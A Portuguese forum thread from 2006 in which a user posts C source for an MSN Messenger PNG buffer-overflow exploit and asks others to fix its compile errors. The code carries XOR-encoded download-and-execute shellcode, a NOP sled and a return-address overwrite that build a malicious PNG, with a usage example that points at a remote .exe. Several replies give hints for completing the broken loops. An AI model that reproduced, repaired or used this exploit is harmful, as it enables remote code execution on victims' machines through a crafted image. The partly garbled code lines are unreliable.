1. Este site usa cookies. Ao continuar a usar este site está a concordar com o nosso uso de cookies. Saber Mais.

exploit msn

Discussão em 'Programação' iniciada por \0x28, 13 de Julho de 2006. (Respostas: 13; Visualizações: 2002)

  1. Pessoal tou com um problema com um exploit, já corrigi metade do código mas agora não consigo sair desta parte alguem me pode ajudar, tou a usar dev c++ para compilar e os erros estão marcados com ********.obrigado


    #include <stdio.h>
    #include <conio.h>
    #include <math.h>
    #include <string.h>


    #ifdef __BORLANDC__
    #include
    #endif

    #define NOP 0x90

    char png_header[] =
    "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52"
    "\x00\x00\x00\x40\x00\x00\x00\x40\x08\x03\x00\x00\x00\x9D\xB7\x81"
    "\xEC\x00\x00\x01\xB9\x74\x52\x4E\x53";

    char pngeof[] = "\x90\x90\x90\x59\xE8\x47\xFE\xFF\xFF";

    /* Generic win32 http download shellcode
    xored with 0x1d by delikon (http://delikon.de/) */
    char shellcode[] = "\xEB"
    "\x10\x58\x31\xC9\x66\x81\xE9\x22\xFF\x80\x30\x1D\x40\xE2\xFA\xEB\x05\xE8\xEB\xFF"
    "\xFF\xFF\xF4\xD1\x1D\x1D\x1D\x42\xF5\x4B\x1D\x1D\x1D\x94\xDE\x4D\x75\x93\x53\x13"
    "\xF1\xF5\x7D\x1D\x1D\x1D\x2C\xD4\x7B\xA4\x72\x73\x4C\x75\x68\x6F\x71\x70\x49\xE2"
    "\xCD\x4D\x75\x2B\x07\x32\x6D\xF5\x5B\x1D\x1D\x1D\x2C\xD4\x4C\x4C\x90\x2A\x4B\x90"
    "\x6A\x15\x4B\x4C\xE2\xCD\x4E\x75\x85\xE3\x97\x13\xF5\x30\x1D\x1D\x1D\x4C\x4A\xE2"
    "\xCD\x2C\xD4\x54\xFF\xE3\x4E\x75\x63\xC5\xFF\x6E\xF5\x04\x1D\x1D\x1D\xE2\xCD\x48"
    "\x4B\x79\xBC\x2D\x1D\x1D\x1D\x96\x5D\x11\x96\x6D\x01\xB0\x96\x75\x15\x94\xF5\x43"
    "\x40\xDE\x4E\x48\x4B\x4A\x96\x71\x39\x05\x96\x58\x21\x96\x49\x18\x65\x1C\xF7\x96"
    "\x57\x05\x96\x47\x3D\x1C\xF6\xFE\x28\x54\x96\x29\x96\x1C\xF3\x2C\xE2\xE1\x2C\xDD"
    "\xB1\x25\xFD\x69\x1A\xDC\xD2\x10\x1C\xDA\xF6\xEF\x26\x61\x39\x09\x68\xFC\x96\x47"
    "\x39\x1C\xF6\x7B\x96\x11\x56\x96\x47\x01\x1C\xF6\x96\x19\x96\x1C\xF5\xF4\x1F\x1D"
    "\x1D\x1D\x2C\xDD\x94\xF7\x42\x43\x40\x46\xDE\xF5\x32\xE2\xE2\xE2\x70\x75\x75\x33"
    "\x78\x65\x78\x1D";

    FILE *di;
    int i = 0;
    short int weblength;
    char *web;
    char *pointer = NULL;
    char *newshellcode;

    /*xor cryptor*/
    char *Sifrele(char *Name1)
    {
    char *Name=Name1;
    char xor2=0x1d;
    int Size=strlen(Name);
    //for(i=0;i Name=Name^xor);***********
    return Name;
    }


    int main(int argc, char *argv[])
    {

    if (argc < 3)
    {
    printf("MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit\n");
    printf("Bug discoveried by Core Security Technologies (www.coresecurity.com)\n");
    printf("Exploit coded By ATmaCA\n");
    printf("Copyright ©2002-2005 AtmacaSoft Inc. All Rights Reserved.\n");
    printf("Web: http://www.atmacasoft.com\n");
    printf("E-Mail: [email protected]\n");
    printf("Credit to kozan and delikon\n\n");
    printf("\tUsage:exploit \n");
    printf("\tExample:exploit vuln.png http://www.atmacasoft.com/exp/msg.exe\n");

    return (0);
    }


    web = argv[2];


    if( (di=fopen(argv[1],"wb")) == NULL )
    {
    printf("Error opening file!\n");
    return(0);
    }
    //for(i=0;i fputc(png_header,di); *************

    /*stuff in a couple of NOPs*/
    for(i=0;i<99;i++)
    fputc(NOP,di);

    weblength=(short int)0xff22;
    pointer=strstr(shellcode,"\x22\xff");
    weblength-=strlen(web)+1;
    memcpy(pointer,&weblength,2);
    newshellcode = new char[sizeof(shellcode)+strlen(web)+1];
    strcpy(newshellcode,shellcode);
    strcat(newshellcode,Sifrele(web));
    strcat(newshellcode,"\x1d");

    //shell code
    //for(i=0;i fputc(newshellcode,di); *************


    for(i=0;i<(83-strlen(web));i++) //NOPs
    fputc(NOP,di);

    /*Overwriting the return address (EIP)*/
    /*0x005E0547 - ret */
    fputc(0x47,di);
    fputc(0x05,di);
    fputc(0x5e,di);
    fputc(0x00,di);

    //for(i=0;i fputc(pngeof,di); *************

    printf("Vulnarable png file %s has been generated!\n",argv[1]);

    fclose(di);
    }
     
  2. sombrio

    sombrio Power Member

    Temos hacker :P
     
  3. Neste forum não te deves safar...
    Isto não é um forum de hackaros tirando um que gosta muito do XP (private joke).

    Bad post reported
     
  4. spastikman

    spastikman Banido

    tirando a parte da ética ...


    e que tal postares o erro que te dá ?
    (as linhas estão comentadas, suponho que tenhas sido tu a comentar, certo ?)
     
  5. Fique bem claro não sou Hacker, tbm não vou estar a discutir isso aqui, só gosto de estudar este tipo de códigos. Pois adoro trabalhar com a memoria(stack, pilha) em C\C++.

    Aqui vai o log

    Compilador: Default compiler
    Executando g++.exe...
    g++.exe "C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp" -o "C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.exe" -I"C:\Compiladores\Dev-Cpp\lib\gcc\mingw32\3.4.2\include" -I"C:\Compiladores\Dev-Cpp\include\c++\3.4.2\backward" -I"C:\Compiladores\Dev-Cpp\include\c++\3.4.2\mingw32" -I"C:\Compiladores\Dev-Cpp\include\c++\3.4.2" -I"C:\Compiladores\Dev-Cpp\include" -L"C:\Compiladores\Dev-Cpp\lib"
    C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp: In function `char* Sifrele(char*)':
    C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:81: error: expected primary-expression before '^' token
    C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:81: error: expected primary-expression before ';' token

    C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp: In function `int main(int, char**)':
    C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:113: error: expected `;' before "fputc"
    C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:113: error: expected `)' before ';' token
    C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:129: error: expected `;' before "fputc"

    C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:129: error: expected `)' before ';' token
    C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:142: error: expected `;' before "fputc"
    C:\Documents and Settings\0x28_Shell_Code\Ambiente de trabalho\Sem_T_tulo1.cpp:142: error: expected `)' before ';' token

    Execução terminada
     
  6. sombrio

    sombrio Power Member

    Ja agora, o que faz esse exploit?
     
  7. printf("MSN Messenger PNG Image Buffer Overflow Download Shellcoded Exploit\n");
    presta atenção!!!
     
  8. alph

    alph Power Member

    :wow: <- e não foi pelo printf.

    É estranho o erro, experimenta outro compilador.
     
  9. Prodigy

    Prodigy Suspenso

    Tás com azar, essa falha já não foi corrigida?
     
  10. espeon

    espeon Power Member

    Calma!:002: Calma... é importante estudar as vulnerablidades do software para que se consiga melhorar o código e descobrir outros novos problemas. Pensavam que é para andar aí a roubar fotos às meninas! :lol:
     
  11. repare que os loops não estão acabados //for(i=0;i Name=Name^xor);***********
    a variavel "i" ou esta a mais ou não esta bem defenida. e pk não é possivel declarar ^xor, pois da erro.
     
  12. spastikman

    spastikman Banido

    não tens de declarar xor nenhum ...

    tanto quanto sei de ciclos "for" são compostos por 3 partes, inicializaçao, condiçao, accao.
    na linha so vejo duas.

    i=0 ; Name=Name^xor

    tens ali um i perdido no meio, por isso falta-te algo ...
     
  13. bac0

    bac0 Power Member

    Ya, pelo que vi até tens mais do que um ciclo for incompleto, tens de por o incremento, acho q é o q te falta.. agr vai lá hackar o xp:lol:
     
  14. El_UnO

    El_UnO 1st Folding then Sex

    Buffer overrun através de uma imagem png "maliciosa"... :P

    Se for para fins "académicos" nem acho mal que se explore este tipo de coisas. Ao desenvolver código é importante evitar buffer overruns. Regra número um: nunca usar o gets() :D
     

Partilhar esta Página